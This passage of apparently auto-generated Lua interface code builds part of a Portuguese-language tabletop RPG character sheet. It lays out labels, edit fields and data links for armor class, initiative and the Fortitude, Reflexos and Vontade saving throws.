obj.label46:setName("label46");
obj.label47 = GUI.fromHandle(_obj_newObject("label"));
obj.label47:setParent(obj.layout14);
obj.label47:setText("+");
obj.label47:setHeight(30);
obj.label47:setWidth(5);
obj.label47:setLeft(150);
obj.label47:setHorzTextAlign("center");
obj.label47:setFontColor("black");
obj.label47:setName("label47");
obj.label48 = GUI.fromHandle(_obj_newObject("label"));
obj.label48:setParent(obj.layout14);
obj.label48:setField("ca1");
obj.label48:setHeight(30);
obj.label48:setWidth(45);
obj.label48:setLeft(155);
obj.label48:setHorzTextAlign("center");
obj.label48:setFontColor("black");
obj.label48:setName("label48");
obj.label49 = GUI.fromHandle(_obj_newObject("label"));
obj.label49:setParent(obj.layout14);
obj.label49:setText("+");
obj.label49:setHeight(30);
obj.label49:setWidth(5);
obj.label49:setLeft(205);
obj.label49:setHorzTextAlign("center");
obj.label49:setFontColor("black");
obj.label49:setName("label49");
obj.label50 = GUI.fromHandle(_obj_newObject("label"));
obj.label50:setParent(obj.layout14);
obj.label50:setField("ca2");
obj.label50:setHeight(30);
obj.label50:setWidth(45);
obj.label50:setLeft(210);
obj.label50:setHorzTextAlign("center");
obj.label50:setFontColor("black");
obj.label50:setName("label50");
obj.label51 = GUI.fromHandle(_obj_newObject("label"));
obj.label51:setParent(obj.layout14);
obj.label51:setText("+");
obj.label51:setHeight(30);
obj.label51:setWidth(5);
obj.label51:setLeft(260);
obj.label51:setHorzTextAlign("center");
obj.label51:setFontColor("black");
obj.label51:setName("label51");
obj.label52 = GUI.fromHandle(_obj_newObject("label"));
obj.label52:setParent(obj.layout14);
obj.label52:setField("ca3");
obj.label52:setHeight(30);
obj.label52:setWidth(45);
obj.label52:setLeft(265);
obj.label52:setHorzTextAlign("center");
obj.label52:setFontColor("black");
obj.label52:setName("label52");
obj.label53 = GUI.fromHandle(_obj_newObject("label"));
obj.label53:setParent(obj.layout14);
obj.label53:setText("+");
obj.label53:setHeight(30);
obj.label53:setWidth(5);
obj.label53:setLeft(315);
obj.label53:setHorzTextAlign("center");
obj.label53:setFontColor("black");
obj.label53:setName("label53");
obj.edit33 = GUI.fromHandle(_obj_newObject("edit"));
obj.edit33:setParent(obj.layout14);
obj.edit33:setTextPrompt("Tamanho");
obj.edit33:setField("catamanho");
obj.edit33:setHeight(30);
obj.edit33:setWidth(45);
obj.edit33:setLeft(320);
obj.edit33:setHorzTextAlign("center");
obj.edit33:setFontColor("black");
obj.edit33:setName("edit33");
obj.label54 = GUI.fromHandle(_obj_newObject("label"));
obj.label54:setParent(obj.layout14);
obj.label54:setText("+");
obj.label54:setHeight(30);
obj.label54:setWidth(5);
obj.label54:setLeft(370);
obj.label54:setHorzTextAlign("center");
obj.label54:setFontColor("black");
obj.label54:setName("label54");
obj.edit34 = GUI.fromHandle(_obj_newObject("edit"));
obj.edit34:setParent(obj.layout14);
obj.edit34:setTextPrompt("Natural");
obj.edit34:setField("caarmaduranatural");
obj.edit34:setHeight(30);
obj.edit34:setWidth(45);
obj.edit34:setLeft(375);
obj.edit34:setHorzTextAlign("center");
obj.edit34:setFontColor("black");
obj.edit34:setName("edit34");
obj.label55 = GUI.fromHandle(_obj_newObject("label"));
obj.label55:setParent(obj.layout14);
obj.label55:setText("+");
obj.label55:setHeight(30);
obj.label55:setWidth(5);
obj.label55:setLeft(425);
obj.label55:setHorzTextAlign("center");
obj.label55:setFontColor("black");
obj.label55:setName("label55");
obj.edit35 = GUI.fromHandle(_obj_newObject("edit"));
obj.edit35:setParent(obj.layout14);
obj.edit35:setTextPrompt("Deflexao");
obj.edit35:setField("deflexao");
obj.edit35:setHeight(30);
obj.edit35:setWidth(45);
obj.edit35:setLeft(430);
obj.edit35:setHorzTextAlign("center");
obj.edit35:setFontColor("black");
obj.edit35:setName("edit35");
obj.label56 = GUI.fromHandle(_obj_newObject("label"));
obj.label56:setParent(obj.layout14);
obj.label56:setText("+");
obj.label56:setHeight(30);
obj.label56:setWidth(5);
obj.label56:setLeft(480);
obj.label56:setHorzTextAlign("center");
obj.label56:setFontColor("black");
obj.label56:setName("label56");
obj.edit36 = GUI.fromHandle(_obj_newObject("edit"));
obj.edit36:setParent(obj.layout14);
obj.edit36:setTextPrompt("Outros");
obj.edit36:setField("outrosca");
obj.edit36:setHeight(30);
obj.edit36:setWidth(45);
obj.edit36:setLeft(485);
obj.edit36:setHorzTextAlign("center");
obj.edit36:setFontColor("black");
obj.edit36:setName("edit36");
obj.dataLink2 = GUI.fromHandle(_obj_newObject("dataLink"));
obj.dataLink2:setParent(obj.rectangle6);
obj.dataLink2:setFields({'moddestreza', 'ca3', 'totalca', 'outrosca', 'deflexao', 'catamanho', 'caarmaduranatural', 'ca2', 'ca3', 'armadura', 'escudo'});
obj.dataLink2:setName("dataLink2");
obj.layout15 = GUI.fromHandle(_obj_newObject("layout"));
obj.layout15:setParent(obj.rectangle6);
obj.layout15:setWidth(530);
obj.layout15:setHeight(30);
obj.layout15:setTop(100);
obj.layout15:setName("layout15");
obj.label57 = GUI.fromHandle(_obj_newObject("label"));
obj.label57:setParent(obj.layout15);
obj.label57:setText("");
obj.label57:setHeight(30);
obj.label57:setWidth(45);
obj.label57:setFontColor("black");
obj.label57:setName("label57");
obj.label58 = GUI.fromHandle(_obj_newObject("label"));
obj.label58:setParent(obj.layout15);
obj.label58:setText("");
obj.label58:setHeight(30);
obj.label58:setWidth(45);
obj.label58:setLeft(50);
obj.label58:setHorzTextAlign("center");
obj.label58:setFontColor("black");
obj.label58:setName("label58");
obj.label59 = GUI.fromHandle(_obj_newObject("label"));
obj.label59:setParent(obj.layout15);
obj.label59:setText("Total");
obj.label59:setHeight(30);
obj.label59:setWidth(45);
obj.label59:setLeft(100);
obj.label59:setAlign("bottom");
obj.label59:setFontColor("black");
obj.label59:setName("label59");
obj.label60 = GUI.fromHandle(_obj_newObject("label"));
obj.label60:setParent(obj.layout15);
obj.label60:setText("");
obj.label60:setHeight(30);
obj.label60:setWidth(5);
obj.label60:setLeft(150);
obj.label60:setHorzTextAlign("center");
obj.label60:setFontColor("black");
obj.label60:setName("label60");
obj.label61 = GUI.fromHandle(_obj_newObject("label"));
obj.label61:setParent(obj.layout15);
obj.label61:setText("Armadura");
obj.label61:setFontSize(9);
obj.label61:setHeight(30);
obj.label61:setWidth(45);
obj.label61:setLeft(155);
obj.label61:setHorzTextAlign("center");
obj.label61:setFontColor("black");
obj.label61:setName("label61");
obj.label62 = GUI.fromHandle(_obj_newObject("label"));
obj.label62:setParent(obj.layout15);
obj.label62:setText("");
obj.label62:setHeight(30);
obj.label62:setWidth(5);
obj.label62:setLeft(205);
obj.label62:setHorzTextAlign("center");
obj.label62:setFontColor("black");
obj.label62:setName("label62");
obj.label63 = GUI.fromHandle(_obj_newObject("label"));
obj.label63:setParent(obj.layout15);
obj.label63:setText("Escudo");
obj.label63:setFontSize(9);
obj.label63:setHeight(30);
obj.label63:setWidth(45);
obj.label63:setLeft(210);
obj.label63:setHorzTextAlign("center");
obj.label63:setFontColor("black");
obj.label63:setName("label63");
obj.label64 = GUI.fromHandle(_obj_newObject("label"));
obj.label64:setParent(obj.layout15);
obj.label64:setText("");
obj.label64:setHeight(30);
obj.label64:setWidth(5);
obj.label64:setLeft(260);
obj.label64:setHorzTextAlign("center");
obj.label64:setFontColor("black");
obj.label64:setName("label64");
obj.label65 = GUI.fromHandle(_obj_newObject("label"));
obj.label65:setParent(obj.layout15);
obj.label65:setText("");
obj.label65:setFontSize(9);
obj.label65:setHeight(30);
obj.label65:setWidth(45);
obj.label65:setLeft(265);
obj.label65:setHorzTextAlign("center");
obj.label65:setFontColor("black");
obj.label65:setName("label65");
obj.label66 = GUI.fromHandle(_obj_newObject("label"));
obj.label66:setParent(obj.layout15);
obj.label66:setText("");
obj.label66:setHeight(30);
obj.label66:setWidth(5);
obj.label66:setLeft(315);
obj.label66:setHorzTextAlign("center");
obj.label66:setFontColor("black");
obj.label66:setName("label66");
obj.label67 = GUI.fromHandle(_obj_newObject("label"));
obj.label67:setParent(obj.layout15);
obj.label67:setText("Tamanho");
obj.label67:setFontSize(9);
obj.label67:setHeight(30);
obj.label67:setWidth(45);
obj.label67:setLeft(320);
obj.label67:setHorzTextAlign("center");
obj.label67:setFontColor("black");
obj.label67:setName("label67");
obj.label68 = GUI.fromHandle(_obj_newObject("label"));
obj.label68:setParent(obj.layout15);
obj.label68:setText("");
obj.label68:setHeight(30);
obj.label68:setWidth(5);
obj.label68:setLeft(370);
obj.label68:setHorzTextAlign("center");
obj.label68:setFontColor("black");
obj.label68:setName("label68");
obj.label69 = GUI.fromHandle(_obj_newObject("label"));
obj.label69:setParent(obj.layout15);
obj.label69:setText("Natural");
obj.label69:setFontSize(9);
obj.label69:setHeight(30);
obj.label69:setWidth(45);
obj.label69:setLeft(375);
obj.label69:setHorzTextAlign("center");
obj.label69:setFontColor("black");
obj.label69:setName("label69");
obj.label70 = GUI.fromHandle(_obj_newObject("label"));
obj.label70:setParent(obj.layout15);
obj.label70:setText("");
obj.label70:setHeight(30);
obj.label70:setWidth(5);
obj.label70:setLeft(425);
obj.label70:setHorzTextAlign("center");
obj.label70:setFontColor("black");
obj.label70:setName("label70");
obj.label71 = GUI.fromHandle(_obj_newObject("label"));
obj.label71:setParent(obj.layout15);
obj.label71:setText("Deflexao");
obj.label71:setFontSize(9);
obj.label71:setHeight(30);
obj.label71:setWidth(45);
obj.label71:setLeft(430);
obj.label71:setHorzTextAlign("center");
obj.label71:setFontColor("black");
obj.label71:setName("label71");
obj.label72 = GUI.fromHandle(_obj_newObject("label"));
obj.label72:setParent(obj.layout15);
obj.label72:setText("");
obj.label72:setHeight(30);
obj.label72:setWidth(5);
obj.label72:setLeft(480);
obj.label72:setHorzTextAlign("center");
obj.label72:setFontColor("black");
obj.label72:setName("label72");
obj.label73 = GUI.fromHandle(_obj_newObject("label"));
obj.label73:setParent(obj.layout15);
obj.label73:setText("Outros");
obj.label73:setFontSize(9);
obj.label73:setHeight(30);
obj.label73:setWidth(45);
obj.label73:setLeft(485);
obj.label73:setHorzTextAlign("center");
obj.label73:setFontColor("black");
obj.label73:setName("label73");
obj.rectangle7 = GUI.fromHandle(_obj_newObject("rectangle"));
obj.rectangle7:setParent(obj.flowLayout1);
obj.rectangle7:setWidth(255);
obj.rectangle7:setHeight(65);
obj.rectangle7:setLeft(380);
obj.rectangle7:setTop(330);
obj.rectangle7:setColor("white");
obj.rectangle7:setName("rectangle7");
obj.layout16 = GUI.fromHandle(_obj_newObject("layout"));
obj.layout16:setParent(obj.rectangle7);
obj.layout16:setWidth(255);
obj.layout16:setHeight(30);
obj.layout16:setName("layout16");
obj.label74 = GUI.fromHandle(_obj_newObject("label"));
obj.label74:setParent(obj.layout16);
obj.label74:setText("Toque");
obj.label74:setWidth(60);
obj.label74:setHeight(30);
obj.label74:setHorzTextAlign("center");
obj.label74:setFontColor("black");
obj.label74:setName("label74");
obj.edit37 = GUI.fromHandle(_obj_newObject("edit"));
obj.edit37:setParent(obj.layout16);
obj.edit37:setField("toque");
obj.edit37:setWidth(60);
obj.edit37:setHeight(30);
obj.edit37:setLeft(65);
obj.edit37:setHorzTextAlign("center");
obj.edit37:setFontColor("black");
obj.edit37:setName("edit37");
obj.label75 = GUI.fromHandle(_obj_newObject("label"));
obj.label75:setParent(obj.layout16);
obj.label75:setText("Surpresa");
obj.label75:setWidth(60);
obj.label75:setHeight(130);
obj.label75:setHorzTextAlign("center");
obj.label75:setFontColor("black");
obj.label75:setName("label75");
obj.edit38 = GUI.fromHandle(_obj_newObject("edit"));
obj.edit38:setParent(obj.layout16);
obj.edit38:setField("surpresa");
obj.edit38:setWidth(60);
obj.edit38:setHeight(30);
obj.edit38:setLeft(195);
obj.edit38:setHorzTextAlign("center");
obj.edit38:setFontColor("black");
obj.edit38:setName("edit38");
obj.layout17 = GUI.fromHandle(_obj_newObject("layout"));
obj.layout17:setParent(obj.rectangle7);
obj.layout17:setWidth(255);
obj.layout17:setHeight(30);
obj.layout17:setTop(35);
obj.layout17:setName("layout17");
obj.label76 = GUI.fromHandle(_obj_newObject("label"));
obj.label76:setParent(obj.layout17);
obj.label76:setText("Iniciativa");
obj.label76:setWidth(80);
obj.label76:setHeight(30);
obj.label76:setHorzTextAlign("center");
obj.label76:setFontColor("black");
obj.label76:setName("label76");
obj.label77 = GUI.fromHandle(_obj_newObject("label"));
obj.label77:setParent(obj.layout17);
obj.label77:setField("iniciativa");
obj.label77:setWidth(50);
obj.label77:setHeight(30);
obj.label77:setLeft(85);
obj.label77:setHorzTextAlign("center");
obj.label77:setFontColor("black");
obj.label77:setName("label77");
obj.label78 = GUI.fromHandle(_obj_newObject("label"));
obj.label78:setParent(obj.layout17);
obj.label78:setText("=");
obj.label78:setWidth(10);
obj.label78:setHeight(10);
obj.label78:setLeft(135);
obj.label78:setTop(10);
obj.label78:setHorzTextAlign("center");
obj.label78:setFontColor("black");
obj.label78:setName("label78");
obj.label79 = GUI.fromHandle(_obj_newObject("label"));
obj.label79:setParent(obj.layout17);
obj.label79:setField("ini1");
obj.label79:setWidth(50);
obj.label79:setHeight(30);
obj.label79:setLeft(145);
obj.label79:setHorzTextAlign("center");
obj.label79:setFontColor("black");
obj.label79:setName("label79");
obj.label80 = GUI.fromHandle(_obj_newObject("label"));
obj.label80:setParent(obj.layout17);
obj.label80:setText("+");
obj.label80:setWidth(10);
obj.label80:setHeight(5);
obj.label80:setLeft(195);
obj.label80:setTop(10);
obj.label80:setHorzTextAlign("center");
obj.label80:setFontColor("black");
obj.label80:setName("label80");
obj.edit39 = GUI.fromHandle(_obj_newObject("edit"));
obj.edit39:setParent(obj.layout17);
obj.edit39:setField("ini2");
obj.edit39:setWidth(50);
obj.edit39:setHeight(30);
obj.edit39:setLeft(205);
obj.edit39:setHorzTextAlign("center");
obj.edit39:setFontColor("black");
obj.edit39:setName("edit39");
obj.dataLink3 = GUI.fromHandle(_obj_newObject("dataLink"));
obj.dataLink3:setParent(obj.rectangle7);
obj.dataLink3:setFields({'iniciativa', 'ini1', 'ini2', 'moddestreza'});
obj.dataLink3:setName("dataLink3");
obj.rectangle8 = GUI.fromHandle(_obj_newObject("rectangle"));
obj.rectangle8:setParent(obj.flowLayout1);
obj.rectangle8:setWidth(635);
obj.rectangle8:setHeight(135);
obj.rectangle8:setTop(400);
obj.rectangle8:setColor("white");
obj.rectangle8:setName("rectangle8");
obj.layout18 = GUI.fromHandle(_obj_newObject("layout"));
obj.layout18:setParent(obj.rectangle8);
obj.layout18:setWidth(635);
obj.layout18:setHeight(30);
obj.layout18:setName("layout18");
obj.label81 = GUI.fromHandle(_obj_newObject("label"));
obj.label81:setParent(obj.layout18);
obj.label81:setText("Teste de Resistência");
obj.label81:setWidth(210);
obj.label81:setHeight(30);
obj.label81:setHorzTextAlign("center");
obj.label81:setFontColor("black");
obj.label81:setName("label81");
obj.label82 = GUI.fromHandle(_obj_newObject("label"));
obj.label82:setParent(obj.layout18);
obj.label82:setText("Total");
obj.label82:setWidth(50);
obj.label82:setHeight(30);
obj.label82:setLeft(220);
obj.label82:setHorzTextAlign("center");
obj.label82:setFontColor("black");
obj.label82:setName("label82");
obj.label83 = GUI.fromHandle(_obj_newObject("label"));
obj.label83:setParent(obj.layout18);
obj.label83:setText("");
obj.label83:setWidth(10);
obj.label83:setHeight(30);
obj.label83:setLeft(270);
obj.label83:setHorzTextAlign("center");
obj.label83:setFontColor("black");
obj.label83:setName("label83");
obj.label84 = GUI.fromHandle(_obj_newObject("label"));
obj.label84:setParent(obj.layout18);
obj.label84:setText("Base");
obj.label84:setWidth(50);
obj.label84:setHeight(30);
obj.label84:setLeft(280);
obj.label84:setHorzTextAlign("center");
obj.label84:setFontColor("black");
obj.label84:setName("label84");
obj.label85 = GUI.fromHandle(_obj_newObject("label"));
obj.label85:setParent(obj.layout18);
obj.label85:setText("");
obj.label85:setWidth(10);
obj.label85:setHeight(30);
obj.label85:setLeft(330);
obj.label85:setHorzTextAlign("center");
obj.label85:setFontColor("black");
obj.label85:setName("label85");
obj.label86 = GUI.fromHandle(_obj_newObject("label"));
obj.label86:setParent(obj.layout18);
obj.label86:setText("Mod Hab");
obj.label86:setFontSize(9);
obj.label86:setWidth(50);
obj.label86:setHeight(30);
obj.label86:setLeft(340);
obj.label86:setHorzTextAlign("center");
obj.label86:setFontColor("black");
obj.label86:setName("label86");
obj.label87 = GUI.fromHandle(_obj_newObject("label"));
obj.label87:setParent(obj.layout18);
obj.label87:setText("");
obj.label87:setWidth(10);
obj.label87:setHeight(30);
obj.label87:setLeft(390);
obj.label87:setHorzTextAlign("center");
obj.label87:setFontColor("black");
obj.label87:setName("label87");
obj.label88 = GUI.fromHandle(_obj_newObject("label"));
obj.label88:setParent(obj.layout18);
obj.label88:setText("Mod Mágico");
obj.label88:setFontSize(8);
obj.label88:setWidth(50);
obj.label88:setHeight(30);
obj.label88:setLeft(400);
obj.label88:setHorzTextAlign("center");
obj.label88:setFontColor("black");
obj.label88:setName("label88");
obj.label89 = GUI.fromHandle(_obj_newObject("label"));
obj.label89:setParent(obj.layout18);
obj.label89:setText("");
obj.label89:setWidth(10);
obj.label89:setHeight(30);
obj.label89:setLeft(450);
obj.label89:setHorzTextAlign("center");
obj.label89:setFontColor("black");
obj.label89:setName("label89");
obj.label90 = GUI.fromHandle(_obj_newObject("label"));
obj.label90:setParent(obj.layout18);
obj.label90:setText("Outros");
obj.label90:setWidth(50);
obj.label90:setHeight(30);
obj.label90:setLeft(460);
obj.label90:setHorzTextAlign("center");
obj.label90:setFontColor("black");
obj.label90:setName("label90");
obj.label91 = GUI.fromHandle(_obj_newObject("label"));
obj.label91:setParent(obj.layout18);
obj.label91:setText("");
obj.label91:setWidth(10);
obj.label91:setHeight(30);
obj.label91:setLeft(510);
obj.label91:setHorzTextAlign("center");
obj.label91:setFontColor("black");
obj.label91:setName("label91");
obj.label92 = GUI.fromHandle(_obj_newObject("label"));
obj.label92:setParent(obj.layout18);
obj.label92:setText("Mod Temp");
obj.label92:setFontSize(8);
obj.label92:setWidth(50);
obj.label92:setHeight(30);
obj.label92:setLeft(520);
obj.label92:setHorzTextAlign("center");
obj.label92:setFontColor("black");
obj.label92:setName("label92");
obj.label93 = GUI.fromHandle(_obj_newObject("label"));
obj.label93:setParent(obj.layout18);
obj.label93:setText("");
obj.label93:setWidth(10);
obj.label93:setHeight(30);
obj.label93:setLeft(570);
obj.label93:setHorzTextAlign("center");
obj.label93:setFontColor("black");
obj.label93:setName("label93");
obj.label94 = GUI.fromHandle(_obj_newObject("label"));
obj.label94:setParent(obj.layout18);
obj.label94:setText("Condicional");
obj.label94:setFontSize(8);
obj.label94:setWidth(50);
obj.label94:setHeight(30);
obj.label94:setLeft(580);
obj.label94:setHorzTextAlign("center");
obj.label94:setFontColor("black");
obj.label94:setName("label94");
obj.layout19 = GUI.fromHandle(_obj_newObject("layout"));
obj.layout19:setParent(obj.rectangle8);
obj.layout19:setWidth(635);
obj.layout19:setHeight(30);
obj.layout19:setTop(35);
obj.layout19:setName("layout19");
obj.label95 = GUI.fromHandle(_obj_newObject("label"));
obj.label95:setParent(obj.layout19);
obj.label95:setText("Fortitude");
obj.label95:setWidth(210);
obj.label95:setHeight(30);
obj.label95:setHorzTextAlign("center");
obj.label95:setFontColor("black");
obj.label95:setName("label95");
obj.label96 = GUI.fromHandle(_obj_newObject("label"));
obj.label96:setParent(obj.layout19);
obj.label96:setField("fortitude");
obj.label96:setWidth(50);
obj.label96:setHeight(30);
obj.label96:setLeft(220);
obj.label96:setHorzTextAlign("center");
obj.label96:setFontColor("black");
obj.label96:setName("label96");
obj.label97 = GUI.fromHandle(_obj_newObject("label"));
obj.label97:setParent(obj.layout19);
obj.label97:setText("=");
obj.label97:setWidth(10);
obj.label97:setHeight(30);
obj.label97:setLeft(270);
obj.label97:setHorzTextAlign("center");
obj.label97:setFontColor("black");
obj.label97:setName("label97");
obj.edit40 = GUI.fromHandle(_obj_newObject("edit"));
obj.edit40:setParent(obj.layout19);
obj.edit40:setField("basefort");
obj.edit40:setWidth(50);
obj.edit40:setHeight(30);
obj.edit40:setLeft(280);
obj.edit40:setHorzTextAlign("center");
obj.edit40:setFontColor("black");
obj.edit40:setName("edit40");
obj.label98 = GUI.fromHandle(_obj_newObject("label"));
obj.label98:setParent(obj.layout19);
obj.label98:setText("+");
obj.label98:setWidth(10);
obj.label98:setHeight(30);
obj.label98:setLeft(330);
obj.label98:setHorzTextAlign("center");
obj.label98:setFontColor("black");
obj.label98:setName("label98");
obj.label99 = GUI.fromHandle(_obj_newObject("label"));
obj.label99:setParent(obj.layout19);
obj.label99:setField("modfort");
obj.label99:setWidth(50);
obj.label99:setHeight(30);
obj.label99:setLeft(340);
obj.label99:setHorzTextAlign("center");
obj.label99:setFontColor("black");
obj.label99:setName("label99");
obj.label100 = GUI.fromHandle(_obj_newObject("label"));
obj.label100:setParent(obj.layout19);
obj.label100:setText("+");
obj.label100:setWidth(10);
obj.label100:setHeight(30);
obj.label100:setLeft(390);
obj.label100:setHorzTextAlign("center");
obj.label100:setFontColor("black");
obj.label100:setName("label100");
obj.edit41 = GUI.fromHandle(_obj_newObject("edit"));
obj.edit41:setParent(obj.layout19);
obj.edit41:setField("magicofort");
obj.edit41:setWidth(50);
obj.edit41:setHeight(30);
obj.edit41:setLeft(400);
obj.edit41:setHorzTextAlign("center");
obj.edit41:setFontColor("black");
obj.edit41:setName("edit41");
obj.label101 = GUI.fromHandle(_obj_newObject("label"));
obj.label101:setParent(obj.layout19);
obj.label101:setText("+");
obj.label101:setWidth(10);
obj.label101:setHeight(30);
obj.label101:setLeft(450);
obj.label101:setHorzTextAlign("center");
obj.label101:setFontColor("black");
obj.label101:setName("label101");
obj.edit42 = GUI.fromHandle(_obj_newObject("edit"));
obj.edit42:setParent(obj.layout19);
obj.edit42:setField("outrosfort");
obj.edit42:setWidth(50);
obj.edit42:setHeight(30);
obj.edit42:setLeft(460);
obj.edit42:setHorzTextAlign("center");
obj.edit42:setFontColor("black");
obj.edit42:setName("edit42");
obj.label102 = GUI.fromHandle(_obj_newObject("label"));
obj.label102:setParent(obj.layout19);
obj.label102:setText("+");
obj.label102:setWidth(10);
obj.label102:setHeight(30);
obj.label102:setLeft(510);
obj.label102:setHorzTextAlign("center");
obj.label102:setFontColor("black");
obj.label102:setName("label102");
obj.edit43 = GUI.fromHandle(_obj_newObject("edit"));
obj.edit43:setParent(obj.layout19);
obj.edit43:setField("tempfort");
obj.edit43:setWidth(50);
obj.edit43:setHeight(30);
obj.edit43:setLeft(520);
obj.edit43:setHorzTextAlign("center");
obj.edit43:setFontColor("black");
obj.edit43:setName("edit43");
obj.label103 = GUI.fromHandle(_obj_newObject("label"));
obj.label103:setParent(obj.layout19);
obj.label103:setText("+");
obj.label103:setWidth(10);
obj.label103:setHeight(30);
obj.label103:setLeft(570);
obj.label103:setHorzTextAlign("center");
obj.label103:setFontColor("black");
obj.label103:setName("label103");
obj.edit44 = GUI.fromHandle(_obj_newObject("edit"));
obj.edit44:setParent(obj.layout19);
obj.edit44:setField("condfort");
obj.edit44:setWidth(50);
obj.edit44:setHeight(30);
obj.edit44:setLeft(580);
obj.edit44:setHorzTextAlign("center");
obj.edit44:setFontColor("black");
obj.edit44:setName("edit44");
obj.dataLink4 = GUI.fromHandle(_obj_newObject("dataLink"));
obj.dataLink4:setParent(obj.rectangle8);
obj.dataLink4:setFields({'modconstituicao', 'fortitude', 'basefort', 'modfort', 'magicofort', 'outrosfort', 'tempfort', 'condfort'});
obj.dataLink4:setName("dataLink4");
obj.layout20 = GUI.fromHandle(_obj_newObject("layout"));
obj.layout20:setParent(obj.rectangle8);
obj.layout20:setWidth(635);
obj.layout20:setHeight(30);
obj.layout20:setTop(70);
obj.layout20:setName("layout20");
obj.label104 = GUI.fromHandle(_obj_newObject("label"));
obj.label104:setParent(obj.layout20);
obj.label104:setText("Reflexos");
obj.label104:setWidth(210);
obj.label104:setHeight(30);
obj.label104:setHorzTextAlign("center");
obj.label104:setFontColor("black");
obj.label104:setName("label104");
obj.label105 = GUI.fromHandle(_obj_newObject("label"));
obj.label105:setParent(obj.layout20);
obj.label105:setField("reflexos");
obj.label105:setWidth(50);
obj.label105:setHeight(30);
obj.label105:setLeft(220);
obj.label105:setHorzTextAlign("center");
obj.label105:setFontColor("black");
obj.label105:setName("label105");
obj.label106 = GUI.fromHandle(_obj_newObject("label"));
obj.label106:setParent(obj.layout20);
obj.label106:setText("=");
obj.label106:setWidth(10);
obj.label106:setHeight(30);
obj.label106:setLeft(270);
obj.label106:setHorzTextAlign("center");
obj.label106:setFontColor("black");
obj.label106:setName("label106");
obj.edit45 = GUI.fromHandle(_obj_newObject("edit"));
obj.edit45:setParent(obj.layout20);
obj.edit45:setField("baseref");
obj.edit45:setWidth(50);
obj.edit45:setHeight(30);
obj.edit45:setLeft(280);
obj.edit45:setHorzTextAlign("center");
obj.edit45:setFontColor("black");
obj.edit45:setName("edit45");
obj.label107 = GUI.fromHandle(_obj_newObject("label"));
obj.label107:setParent(obj.layout20);
obj.label107:setText("+");
obj.label107:setWidth(10);
obj.label107:setHeight(30);
obj.label107:setLeft(330);
obj.label107:setHorzTextAlign("center");
obj.label107:setFontColor("black");
obj.label107:setName("label107");
obj.label108 = GUI.fromHandle(_obj_newObject("label"));
obj.label108:setParent(obj.layout20);
obj.label108:setField("modref");
obj.label108:setWidth(50);
obj.label108:setHeight(30);
obj.label108:setLeft(340);
obj.label108:setHorzTextAlign("center");
obj.label108:setFontColor("black");
obj.label108:setName("label108");
obj.label109 = GUI.fromHandle(_obj_newObject("label"));
obj.label109:setParent(obj.layout20);
obj.label109:setText("+");
obj.label109:setWidth(10);
obj.label109:setHeight(30);
obj.label109:setLeft(390);
obj.label109:setHorzTextAlign("center");
obj.label109:setFontColor("black");
obj.label109:setName("label109");
obj.edit46 = GUI.fromHandle(_obj_newObject("edit"));
obj.edit46:setParent(obj.layout20);
obj.edit46:setField("magicoref");
obj.edit46:setWidth(50);
obj.edit46:setHeight(30);
obj.edit46:setLeft(400);
obj.edit46:setHorzTextAlign("center");
obj.edit46:setFontColor("black");
obj.edit46:setName("edit46");
obj.label110 = GUI.fromHandle(_obj_newObject("label"));
obj.label110:setParent(obj.layout20);
obj.label110:setText("+");
obj.label110:setWidth(10);
obj.label110:setHeight(30);
obj.label110:setLeft(450);
obj.label110:setHorzTextAlign("center");
obj.label110:setFontColor("black");
obj.label110:setName("label110");
obj.edit47 = GUI.fromHandle(_obj_newObject("edit"));
obj.edit47:setParent(obj.layout20);
obj.edit47:setField("outrosref");
obj.edit47:setWidth(50);
obj.edit47:setHeight(30);
obj.edit47:setLeft(460);
obj.edit47:setHorzTextAlign("center");
obj.edit47:setFontColor("black");
obj.edit47:setName("edit47");
obj.label111 = GUI.fromHandle(_obj_newObject("label"));
obj.label111:setParent(obj.layout20);
obj.label111:setText("+");
obj.label111:setWidth(10);
obj.label111:setHeight(30);
obj.label111:setLeft(510);
obj.label111:setHorzTextAlign("center");
obj.label111:setFontColor("black");
obj.label111:setName("label111");
obj.edit48 = GUI.fromHandle(_obj_newObject("edit"));
obj.edit48:setParent(obj.layout20);
obj.edit48:setField("tempref");
obj.edit48:setWidth(50);
obj.edit48:setHeight(30);
obj.edit48:setLeft(520);
obj.edit48:setHorzTextAlign("center");
obj.edit48:setFontColor("black");
obj.edit48:setName("edit48");
obj.label112 = GUI.fromHandle(_obj_newObject("label"));
obj.label112:setParent(obj.layout20);
obj.label112:setText("+");
obj.label112:setWidth(10);
obj.label112:setHeight(30);
obj.label112:setLeft(570);
obj.label112:setHorzTextAlign("center");
obj.label112:setFontColor("black");
obj.label112:setName("label112");
obj.edit49 = GUI.fromHandle(_obj_newObject("edit"));
obj.edit49:setParent(obj.layout20);
obj.edit49:setField("condref");
obj.edit49:setWidth(50);
obj.edit49:setHeight(30);
obj.edit49:setLeft(580);
obj.edit49:setHorzTextAlign("center");
obj.edit49:setFontColor("black");
obj.edit49:setName("edit49");
obj.dataLink5 = GUI.fromHandle(_obj_newObject("dataLink"));
obj.dataLink5:setParent(obj.rectangle8);
obj.dataLink5:setFields({'moddestreza', 'reflexos', 'baseref', 'modref', 'magicoref', 'outrosref', 'tempref', 'condref'});
obj.dataLink5:setName("dataLink5");
obj.layout21 = GUI.fromHandle(_obj_newObject("layout"));
obj.layout21:setParent(obj.rectangle8);
obj.layout21:setWidth(635);
obj.layout21:setHeight(30);
obj.layout21:setTop(105);
obj.layout21:setName("layout21");
obj.label113 = GUI.fromHandle(_obj_newObject("label"));
obj.label113:setParent(obj.layout21);
obj.label113:setText("Vontade");
obj.label113:setWidth(210);
obj.label113:setHeight(30);
obj.label113:setHorzTextAlign("center");
obj.label113:setFontColor("black");
obj.label113:setName("label113");
obj.label114 = GUI.fromHandle(_obj_newObject("label"));
obj.label114:setParent(obj.layout21);
obj.label114:setField("vontade");
obj.label114:setWidth(50);
obj.label114:setHeight(30);
obj.label114:setLeft(220);
obj.label114:setHorzTextAlign("center");
obj.label114:setFontColor("black");
obj.label114:setName("label114");
obj.label115 = GUI.fromHandle(_obj_newObject("label"));
obj.label115:setParent(obj.layout21);
obj.label115:setText("=");
obj.label115:setWidth(10);
obj.label115:setHeight(30);
obj.label115:setLeft(270);
obj.label115:setHorzTextAlign("center");
obj.label115:setFontColor("black");
obj.label115:setName("label115");
obj.edit50 = GUI.fromHandle(_obj_newObject("edit"));
obj.edit50:setParent(obj.layout21);
obj.edit50:setField("basevont");
obj.edit50:setWidth(50);
obj.edit50:setHeight(30);
obj.edit50:setLeft(280);
obj.edit50:setHorzTextAlign("center");
obj.edit50:setFontColor("black");
obj.edit50:setName("edit50");
